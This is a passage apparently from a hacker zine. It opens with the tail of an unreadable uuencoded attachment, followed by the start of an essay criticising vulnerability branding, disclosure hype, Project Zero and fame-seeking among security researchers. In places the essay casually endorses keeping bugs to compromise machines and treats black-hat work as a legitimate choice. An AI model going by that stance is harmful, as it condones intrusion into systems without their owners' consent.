M>%@JLA_A[K\A^O\7[OI/,9F`QB)[R7ZPX,\!P7"CX'IRYLZ4=K45I5O<4+\M
|
||
|
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
|
||
|
B7O*2E[SD)2]YR4M>\I*7O.0E+WG)RW]\^5]$A6Q:`*``````
|
||
|
`
|
||
|
end
|
||
|
|
||
|
|
||
|
|=[ 0x07 ]=---=[ Resisting the Hy(p|v)e - anon & anon ]=-----------------=|
|
||
|
|
||
|
|
||
|
|=-----------------------------------------------------------------------=|
|
||
|
|=---------------------=[ Resisting the Hy(p|v)e ]=----------------------=|
|
||
|
|=-----------------------------------------------------------------------=|
|
||
|
|=---------------------------=[ anon & anon ]=---------------------------=|
|
||
|
|=-----------------------------------------------------------------------=|
|
||
|
|
||
|
|
||
|
--[ Contents
|
||
|
|
||
|
|
||
|
1 - Prelude
|
||
|
2 - The Common Good
|
||
|
2.1 - Responsible Disclosure
|
||
|
2.2 - White Knights / Self-Claimed Saviors
|
||
|
3 - Financial Stability
|
||
|
4 - Fame
|
||
|
5 - The Underground Spirit
|
||
|
5.1 - Hacker By Conviction
|
||
|
5.1.1 - Jailbreaks
|
||
|
5.1.2 - Freeing Documents
|
||
|
6 - Black Hat Stuff
|
||
|
7 - Conclusion
|
||
|
|
||
|
|
||
|
|
||
|
___________
|
||
|
/-/_"/-/_/-/| +----------------------+
|
||
|
/"-/-_"/-_//|| /| Disclosure is futile |
|
||
|
/__________/|/|-/ +----------------------+
|
||
|
|"|_'='-]:+|/||
|
||
|
|-+-|.|_'-"||//
|
||
|
|[".[:!+-'=|//
|
||
|
|='!+|-:]|-|/
|
||
|
----------
|
||
|
|
||
|
|
||
|
--[ 1 - Prelude
|
||
|
|
||
|
When did all that get started..? Quite a while ago, being a hacker was not
|
||
|
something you'd have hawked around. Finding bugs, practicing offensive
|
||
|
techniques, writing cool exploits and last but not least pwning boxes was
|
||
|
an underground thing you didn't talk about very much. And it still is! The
|
||
|
hacking underground has not magically disappeared; but now there's also a
|
||
|
very publicly visible hacking scene. Besides 31337 underground h4xx0rs, we
|
||
|
now have serious security researchers and consultants, who aim to improve
|
||
|
the world by finding bugs and disclosing them in a responsible manner. And
|
||
|
of course the idea of improving something is not a negative thing in
|
||
|
itself.. Wouldn't you agree?
|
||
|
|
||
|
Things are rarely as easy as they seem, so let's try to explore the
|
||
|
situation. What happens nowadays can be described by the following example:
|
||
|
researcher X finds a bug in some widely-used product. Now X communicates
|
||
|
this bug to the vendor, asking them to come up with a fix. After the vendor
|
||
|
released a fix, X publicly discloses the bug. This is what "responsible"
|
||
|
disclosure is roughly about. And this is generally not a bad approach. But
|
||
|
what X now does is to come up with a scary-sounding name and an ugly logo
|
||
|
for the vulnerability. Yeah, a cool vuln needs a name and a logo! And of
|
||
|
course it also needs press attention! But you know, X only takes the burden
|
||
|
of doing all that because X wants to world to be a safer place. This is why
|
||
|
X discloses responsibly and also why X needs all that press hype: users
|
||
|
must be made aware of the problem! And while saving the world, X of course
|
||
|
also enjoys the publicity, the press attention and the free b00ze at
|
||
|
conferences. All this (modulo the b00ze, maybe) also contributes to X's job
|
||
|
security and so it's a win-win situation.
|
||
|
|
||
|
Now we're getting more to the gist of the matter, but let's yet dig a bit
|
||
|
deeper. The motivation of overhyping bugs and designing shitty logos
|
||
|
appears to be three-fold: the common good, job security (== financial
|
||
|
stability) and a little bit of fame, too. Let us look at each of these
|
||
|
individually.
|
||
|
|
||
|
--[ 2 - The Common Good
|
||
|
|
||
|
Believe it or not, there are actually people who want to improve the world,
|
||
|
want to do something for the common good. And at the first glance, it might
|
||
|
even seem that finding and disclosing bugs actually contributes to a safer
|
||
|
world. It does insofar as a fixed bug cannot be exploited by attackers
|
||
|
anymore. Now, auditing all code, finding, disclosing and fixing all
|
||
|
existing bugs is obviously not the way a sane person would recommend for
|
||
|
fixing the sorry state of our security: First of all, there are way too
|
||
|
many potential vulnerabilities, even in widely-used, well-audited software
|
||
|
packages out there. Furthermore, it's not like you can snapshot the world
|
||
|
today, remove all vulnerabilities and run this stable snapshot until the
|
||
|
end of time. New bugs will be introduced if we stick to our broken
|
||
|
engineering processes. So, how much will finding, disclosing and fixing
|
||
|
individual bugs really contribute to our security? Little. And I can
|
||
|
already hear you saying: "better contribute little than nothing at all!" .
|
||
|
This however implies that you only have two options, which is far off from
|
||
|
the truth. In reality, we have quite a number of effective options for
|
||
|
improving our security. What about defense efforts? What about safe
|
||
|
programming languages? (More) secure operating systems? What about teaching
|
||
|
users how to apply crypto effectively? There's an almost endless list of
|
||
|
effective improvements one could make. Now if you take into account that
|
||
|
there's quite a number of things that will really improve our security,
|
||
|
"doing it for the common good" doesn't appear to be such a good reason
|
||
|
anymore. Contributing to a safer world is only a negligible side-effect of
|
||
|
our hacking. So stop deceiving yourself! You're not taking the hard burden
|
||
|
of hacking just so that the world can be a little bit better. Fucking stop
|
||
|
lying to yourself!
|
||
|
|
||
|
----[ 2.1 - Responsible Disclosure
|
||
|
|
||
|
___________________________________________
|
||
|
/ _\ \
|
||
|
\ (_/_______________________________________/
|
||
|
\ \
|
||
|
\ You're in a desert, walking along in \
|
||
|
\ the sand when all of a sudden you look \
|
||
|
__\ down and see an 0day. \
|
||
|
/ )_\ You drop it on FD. \
|
||
|
\___/_________________________________________/
|
||
|
|
||
|
|
||
|
If you still want to play the game of vuln hunting and disclosure you
|
||
|
should practice "Responsible Disclosure" they say. Come on, be one of the
|
||
|
good whitehat guys! But what does the ideal Responsible Disclosure look
|
||
|
like? Well actually that is pretty straight forward:
|
||
|
|
||
|
* The Researcher (also note the term "Researcher" instead of "Hacker"
|
||
|
whee science!!) finds a terrible security flaw in some product.
|
||
|
* The flaw is reported by PGP encrypted email to security@$vendor.com.
|
||
|
* The vendor acknowledges the report and starts investigating the issue.
|
||
|
* Some time later a fix is implemented by the vendor and patches are
|
||
|
shipped.
|
||
|
* An entry on http://vendor.com/security.html is created, and the vendor
|
||
|
credits and thanks the Researcher for finding the flaw.
|
||
|
* After some grace period so that the users can actually apply the patch
|
||
|
the Researcher might publish the details of this awkward flaw.
|
||
|
|
||
|
Wow that's simple, and so responsible! Now let's see how this scheme is
|
||
|
flawed in actual "responsible" disclosure. There are a magnitude of points
|
||
|
where this simple scheme might fuck up. Just imagine the following
|
||
|
*absolutely hypothetical* but yet not out of this world scenario:
|
||
|
|
||
|
Researcher Y works at a security company which happens to sell security
|
||
|
(a.k.a. snakeoil) products to protect their innocent customers from bad
|
||
|
0day. In order to protect from 0day there needs to be 0day in the wild, so
|
||
|
researcher Y finds this awesome Internet-ending flaw in a widely used
|
||
|
software product. Next up the process described above is started by Good
|
||
|
Guy Y. Also Y decides to present his elite research at BlackHat. So it
|
||
|
goes... BlackHat is close, and the Logo & Marketing campaign is ready. But
|
||
|
no vendor patch is available yet. Now ask yourself: what would you do in
|
||
|
this situation?
|
||
|
|
||
|
Practicing Responsible Disclosure vs. practicing Full Disclosure is sure a
|
||
|
matter of taste. And as long as you really feel that by responsibly
|
||
|
disclosing a vulnerability you can do something good, please go ahead and
|
||
|
do it. However, being responsible doesn't mean that you actually have to
|
||
|
disclose. You could also just keep the bug for a while (until either the
|
||
|
vendor fixed it or you pwn3d enough boxes). There's a huge controversy
|
||
|
about what form of disclosure is best. We'd like to encourage you to find
|
||
|
that out for yourself, for the particular situation you're in, with the
|
||
|
particular bug you just found. As long as it's your own decision (and not
|
||
|
decided by your marketing department or the Hyve conciousness^W^Wguys on
|
||
|
Twitter), it's probably OK.
|
||
|
|
||
|
----[ 2.2 - White Knights / Self-Claimed Saviors
|
||
|
|
||
|
Let's take a small detour here and have a look at what "hacking for the
|
||
|
common good" can lead to. Let's start with a real interesting example -
|
||
|
Project Zero. There are many possible explanations of what the real reason
|
||
|
behind p0 might be. We don't want to drift off into conspiracy theories
|
||
|
here. But as a matter of fact, p0 claims that their goal is to protect
|
||
|
people [3]. The common good. Being the current leader of the mobile OS
|
||
|
market [4], it's quite obvious what one would do in order to really protect
|
||
|
people: fucking audit and harden Android. But interestingly, p0 seems
|
||
|
rather to be about dropping 0day on Apple and other competitors of Google.
|
||
|
And the worst thing about that is that there are actual skilled and
|
||
|
well-respected hackers, being part of the p0 team, paid by Google for doing
|
||
|
offensive research. And Google even claims moral superiority because, you
|
||
|
know, at Google we "do no evil" . And possibly, at least some of the p0
|
||
|
team members even actually believe they do something for the common good.
|
||
|
This is the most disturbing part about the story. Somehow Google managed to
|
||
|
sufficiently incentivize these hackers to drop bugs on Google's
|
||
|
competitors. Other reasons to work for Google obviously include financial
|
||
|
stability (working for a big corporation) or plainly the money itself. But
|
||
|
let's stick with the aspect of doing something beneficial for the world.
|
||
|
Google managed to buy some of the best hackers we know of. One could now of
|
||
|
course argue that in this special case, letting these hackers "do the right
|
||
|
thing" prevents them from doing bad things. This is related to the central
|
||
|
argument that if p0 goes for high-profile bugs and kills them, then
|
||
|
attackers have to invest significantly more effort if they want to "do bad
|
||
|
things" - and clearly, raising the attackers' effort is good. This
|
||
|
reasoning sheds an interesting light on Google's arrogance. The first part,
|
||
|
of the argument is based on the assumption that Google is actually capable
|
||
|
of finding a significant share of all attacker-relevant bugs. This alone is
|
||
|
questionable, but lacking reliable statistics, we cannot directly prove the
|
||
|
opposite. We however assume that our readers know by first-hand experience,
|
||
|
what bugs p0 did not kill yet ;) Let's look at the second part of the
|
||
|
argument: raising the attackers' effort is a good thing. Just for the sake
|
||
|
of analyzing the argument, let's pretend that we actually wanted do all the
|
||
|
white-hat stuff (destroy the black market, make everything safer, safe the
|
||
|
whales etc.). The arrogance of the second part of the argument now lies in
|
||
|
the idea that Google actually knows how to fight all the evil in the world.
|
||
|
And their recipe is simple: just make it harder for the bad guys. This
|
||
|
indicates quite a lack of understanding how complex certain social
|
||
|
structures can be. We don't want to claim we fully understand these either
|
||
|
- by no means. But isn't it possible that instead of killing the evil
|
||
|
underground, p0 actually strengthens the black market? That talented
|
||
|
black hats now raise the prices for their sploits and that because of the
|
||
|
better money you can earn, now even more hackers decide to go the black hat
|
||
|
way? Maybe even up to the point where the bad guys are paid better than
|
||
|
the good guys at Google? Will those then change sides as well or did Google
|
||
|
manage to brain-wash them enough, using their nanoprobes? Think about the
|
||
|
war on drugs, about alcohol prohibition, about banning porn.. All these
|
||
|
followed very simple ideas that in the end showed to be completely
|
||
|
incompatible with the way society works.
|
||
|
|
||
|
---~~~=== Shouts to p0 for raising the market value ===~~~---
|
||
|
|
||
|
XXXXXXXXXXXXXXXXX GOOGLE RESERVE 0DAY XXXXXXXXXXXXXXXXXXX
|
||
|
XXX XX THE UNITED STATES OF INTERNET XXX XX
|
||
|
XXXX XX ------- ------------ XXXX XX
|
||
|
XXXX XX / \ P0-FU XXXX XX
|
||
|
XXXXXX OOO / zero \ --- XXXXXX
|
||
|
XXXXX OOOOO | ___ | __ XXXXX
|
||
|
XXX OOO || \ __ _ _ _ | OOOO XXX
|
||
|
XXX || |) / _` | || || OOOOOO XXX
|
||
|
XXX P0-31337 ||___/\__,_|\_, || OOOO XXX
|
||
|
XXX | |__/ | -- XXX
|
||
|
XXX ------- \ / XXX
|
||
|
X XX \ ____________ / X XX
|
||
|
XX XXX _________ -------- ___ _______ XXX XX
|
||
|
XX XXX ___ ONE DEAD BUG XXX XX
|
||
|
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
|
||
|
|
||
|
There is a less severe form of this behavior: telling others what to do
|
||
|
with their 0day. This commonly happens on Twitter nowadays: "Did you
|
||
|
contact the vendor? No? How irresponsible!!11" . WTF? These people really
|
||
|
seem to believe they are morally superior. But what they fail to see is:
|
||
|
First of all, it's not their bug and so nobody actually asked them what to
|
||
|
do with it. Second, they should be happy that the person in question
|
||
|
disclosed the bug at all. Nobody is obliged to do that. But then again, who
|
||
|
takes people on Twitter serious.
|
||
|
|
||
|
--[ 3 - Financial Stability
|
||
|
|
||
|
We're all getting older. And while this inevitably happens, some develop a
|
||
|
need for financial stability. This is well-studied [2] and we don't feel
|
||
|
like we want to go into great detail here. But branding vulnerabilities
|
||
|
with names and logos is a great way to obtain media attention. And media
|
||
|
attention can directly influence your job security - "yeah we need to hire
|
||
|
that guy, that's the one with the mad skills!" As a matter of fact, this is
|
||
|
how the industry works nowadays and writing this paper won't change it.
|
||
|
It's also not so much the scope of this article to criticize society and
|
||
|
capitalism. So if you find that you really want financial stability, think
|
||
|
about what you do and how you do it. You want job security? Great. But do
|
||
|
you really have to over-hype your own (or worse: other peoples') bugs in
|
||
|
order to get your 1-week press attention? Do you want to be hired based on
|
||
|
the logo of your bug or do you want to be hired for your technical
|
||
|
expertise? There are not too many skilled hackers anyway, so do you really
|
||
|
have to be part of all that hype just to single yourself out?
|
||
|
|
||
|
Don't be part of that circus! Yes, other people do it, but you don't have
|
||
|
to. Think about what type of society you create by joining that goddamn
|
||
|
show. A society where skill counts less than appearance, where logos are
|
||
|
better than r00t shells. It is your fucking responsibility to not support
|
||
|
these clowns. If you really want to do something for the common good, then
|
||
|
start at this point.
|
||
|
|
||
|
--[ 4 - Fame
|
||
|
|
||
|
Many people strive for fame - be it globally or in their peer-group.
|
||
|
Hackers are no exception here - and tbh, a little bit of acknowledgement
|
||
|
actually does feel good. But while you try to get your attention, think
|
||
|
about whom you want to get it from and what you want to get it for. Do you
|
||
|
really want to get fame for a technical achievement (such as a cool
|
||
|
exploit), from people who don't even understand the basics behind it? Or
|
||
|
worse, do you want fame for something that is actually pretty lame but
|
||
|
people fail to realize that? If that's what you're after, then please do
|
||
|
straight ahead with your logo-branded vulnerability whitehat responsible
|
||
|
disclosure press attention shit. If you want your fame only from your
|
||
|
peer-group then stay there, that's fine. And if you really want to impress
|
||
|
the broad masses, then please do something that is actual beneficial for
|
||
|
the broad masses - exploiting individual bugs isn't. It appears to us that
|
||
|
some people also try to compensate for problems in their life by
|
||
|
accumulating fame. We don't want to dive into the emo^Wpsychology thing
|
||
|
here, but next time you feel the inner desire to impress random people with
|
||
|
random things, you might want to double-check your reasons.
|
||
|
|
||
|
--[ 5 - The Underground Spirit
|
||
|
|
||
|
This is probably what makes most of us tick. The thirst for knowledge. The
|
||
|
infinitely many ways of combining and (ab)using technology. The thrill of
|
||
|
finding a bug, the kick when you see uid 0. This thrill of hacking can
|
||
|
really become addictive (this is an observation Halvar Flake described very
|
||
|
nicely in [1]). It's neither good nor bad - neither particularly useful in
|
||
|
itself nor is it a waste of time. Hacking is one of the many ways humans
|
||
|
express themselves, their mental power. Others prefer maths, music, writing
|
||
|
or other arts. There is not much to say about the spirit itself in the
|
||
|
context of this ranty paper.
|
||
|
|
||
|
----[ 5.1 - Hacker By Conviction
|
||
|
|
||
|
Not everybody sees hacking as a self purpose. There are a number of hackers
|
||
|
out there who follow certain ideals - free access to information is a
|
||
|
particularly popular one. And occasionally, one or more of these hackers
|
||
|
make a real break-through. There are way too many achievements to be named
|
||
|
here. However, we'd like to highlight the incentives behind a couple of
|
||
|
randomly chosen popular hacks. And we'd like to do this because not
|
||
|
everything is what it seems to be. Even if we rant about logo-branded
|
||
|
vulnerabilities, attention-whores, the press, p0 and whatnot.
|
||
|
|
||
|
|
||
|
The drug .--.
|
||
|
that makes ,-.------+-.| ,-.
|
||
|
,--=======* )"("")===)===* )
|
||
|
o `-"---==-+-"| `-"
|
||
|
0day us tick '--'
|
||
|
|
||
|
|
||
|
------[ 5.1.1 - Jailbreaks
|
||
|
|
||
|
The right to use a device that you bought from your own money in whatever
|
||
|
fucking way you like to (yes, that includes shoving it up your ass) as long
|
||
|
as you don't harm anybody is something that should be universal.
|
||
|
Unfortunately, self-claimed saviors like Apple tend to have a different
|
||
|
